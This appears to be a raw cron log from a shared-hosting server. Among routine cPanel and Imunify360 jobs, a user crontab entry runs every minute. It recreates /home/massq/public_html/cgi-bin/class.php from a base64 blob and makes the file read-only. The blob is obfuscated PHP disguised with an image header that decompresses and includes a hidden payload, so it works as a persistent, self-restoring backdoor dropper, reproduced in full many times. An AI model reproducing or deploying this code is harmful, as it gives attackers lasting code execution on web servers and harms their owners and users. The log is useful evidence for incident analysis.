Sep 12 21:54:01 server CROND[14077]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 21:54:01 server CROND[14078]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 21:54:01 server CROND[14076]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 21:55:01 server CROND[14576]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 12 21:55:01 server CROND[14577]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 21:55:01 server CROND[14578]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 21:55:01 server CROND[14581]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 21:55:01 server CROND[14579]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 21:55:01 server CROND[14582]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 12 21:55:01 server CROND[14580]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 21:56:01 server CROND[15413]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 21:56:01 server CROND[15415]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 21:56:01 server CROND[15414]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 21:57:01 server CROND[15796]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 21:57:01 server CROND[15798]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 12 21:57:01 server CROND[15797]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 21:57:01 server CROND[15799]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 21:58:01 server CROND[16174]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 21:58:01 server CROND[16175]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 21:58:01 server CROND[16176]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 21:59:01 server CROND[16550]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 21:59:01 server CROND[16551]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 21:59:01 server CROND[16557]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 22:00:01 server CROND[17041]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 12 22:00:01 server CROND[17044]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 22:00:01 server CROND[17046]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 22:00:01 server CROND[17047]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 12 22:00:01 server CROND[17049]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 22:00:01 server CROND[17052]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 12 22:00:01 server CROND[17053]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 22:00:01 server CROND[17055]: (root) CMD (   bash -c 'sleep $((RANDOM % 1800))' ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Sep 12 22:00:01 server CROND[17057]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Sep 12 22:00:01 server CROND[17051]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 22:01:01 server CROND[17913]: (root) CMD (run-parts /etc/cron.hourly)
Sep 12 22:01:01 server CROND[17915]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 22:01:01 server CROND[17914]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 22:01:01 server CROND[17916]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 22:01:01 server run-parts(/etc/cron.hourly)[17913]: starting 0anacron
Sep 12 22:01:01 server run-parts(/etc/cron.hourly)[17936]: finished 0anacron
Sep 12 22:02:01 server CROND[18324]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 22:02:01 server CROND[18325]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 22:02:01 server CROND[18326]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 22:03:01 server CROND[18711]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 22:03:01 server CROND[18713]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 22:03:01 server CROND[18712]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 22:04:01 server CROND[19091]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 22:04:01 server CROND[19092]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 22:04:01 server CROND[19093]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 22:05:01 server CROND[19585]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 12 22:05:01 server CROND[19586]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 12 22:05:01 server CROND[19590]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 22:05:01 server CROND[19594]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 22:05:01 server CROND[19595]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 12 22:05:01 server CROND[19593]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7G